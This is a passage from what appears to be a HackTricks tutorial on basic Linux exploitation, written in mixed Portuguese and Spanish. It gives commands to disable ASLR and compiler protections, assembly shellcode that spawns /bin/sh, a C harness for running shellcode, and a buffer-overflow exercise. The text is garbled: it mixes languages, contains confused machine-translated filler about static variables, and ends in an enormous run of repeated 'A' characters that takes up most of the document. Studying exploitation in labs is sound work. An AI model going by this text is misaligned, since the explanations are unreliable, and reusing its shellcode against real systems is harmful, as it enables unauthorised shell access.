.. | ||
rop-leaking-libc-address | ||
bypassing-canary-and-pie.md | ||
format-strings-template.md | ||
fusion.md | ||
README.md | ||
ret2lib.md | ||
rop-syscall-execv.md |
Linux Exploiting (Básico) (SPA)
Linux Exploiting (Básico) (SPA)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? Ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.
ASLR
Aleatorização de Endereços
Desativar aleatorização (ASLR) GLOBAL (root):
echo 0 > /proc/sys/kernel/randomize_va_space
Reativar aleatorização GLOBAL: echo 2 > /proc/sys/kernel/randomize_va_space
Desativar para uma execução (não requer root):
setarch `arch` -R ./exemplo argumentos
setarch `uname -m` -R ./exemplo argumentos
Desativar proteção de execução na pilha
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack exemplo.c -o exemplo
Arquivo core
ulimit -c unlimited
gdb /exec arquivo_core
/etc/security/limits.conf -> * soft core unlimited
Texto
Dados
BSS
Heap
Pilha
Seção BSS: Variáveis globais ou estáticas não inicializadas
static int i;
Seção DATA: Variáveis globais ou estáticas inicializadas
Nesta seção, discutiremos sobre as variáveis globais ou estáticas inicializadas. Essas variáveis são armazenadas na seção de dados do programa e são inicializadas com valores específicos.
As variáveis globais são declaradas fora de qualquer função e podem ser acessadas por todas as funções do programa. Elas são inicializadas automaticamente com valores padrão, como zero para variáveis numéricas e NULL para ponteiros.
As variáveis estáticas também são declaradas fora de qualquer função, mas têm um escopo limitado à função em que são definidas. Elas mantêm seu valor entre chamadas de função e são inicializadas apenas uma vez, na primeira chamada da função.
A exploração de variáveis globais ou estáticas inicializadas pode ser útil em certos cenários de hacking, como a obtenção de informações sensíveis armazenadas nessas variáveis ou a modificação de seu valor para obter um comportamento indesejado do programa.
No entanto, é importante ressaltar que a exploração de variáveis globais ou estáticas inicializadas é uma atividade ilegal e antiética, e deve ser realizada apenas em um ambiente controlado e com permissão adequada.
int i = 5;
1. DESBORDAMIENTO DE PILA
desbordamiento de búfer, desbordamiento de pila, desbordamiento de pila, aplastamiento de pila
Violación de segmento: cuando se intenta acceder a una dirección de memoria que no ha sido asignada al proceso.
Para obtener la dirección de una función dentro de un programa, se puede hacer lo siguiente:
objdump -d ./PROGRAMA | grep FUNCION
ROP
Chamada para sys_execve
{% content-ref url="rop-syscall-execv.md" %} rop-syscall-execv.md {% endcontent-ref %}
2.SHELLCODE
Ver interrupções do kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; limpamos eax
xor ebx, ebx ; ebx = 0 pois não há argumento para passar
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Executar syscall
nasm -f elf assembly.asm —> Retorna um .o
ld assembly.o -o shellcodeout —> Gera um executável composto pelo código assembly e podemos obter os opcodes com objdump
objdump -d -Mintel ./shellcodeout —> Para verificar se é realmente nosso shellcode e obter os OpCodes
Verificar se o shellcode funciona
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Para verificar se as chamadas do sistema estão sendo feitas corretamente, compile o programa anterior e as chamadas do sistema devem aparecer em strace ./PROGRAMA_COMPILADO
Ao criar shellcodes, você pode usar um truque. A primeira instrução é um salto para uma chamada. A chamada chama o código original e também coloca o EIP na pilha. Após a instrução de chamada, inserimos a string necessária, para que possamos apontar para a string com esse EIP e continuar executando o código.
EX TRUQUE (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Usando o Stack (/bin/sh):
O objetivo deste exercício é explorar uma vulnerabilidade de estouro de buffer em um programa para obter acesso ao shell (/bin/sh) do sistema.
-
Compilando o código de exemplo:
$ gcc -o vuln vuln.c
-
Execute o programa compilado:
$ ./vuln
-
Observe que o programa solicita uma entrada do usuário. Digite qualquer coisa para continuar.
-
Agora, vamos explorar a vulnerabilidade de estouro de buffer. Digite uma entrada que seja maior do que o tamanho do buffer alocado pelo programa. Por exemplo:
$ ./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA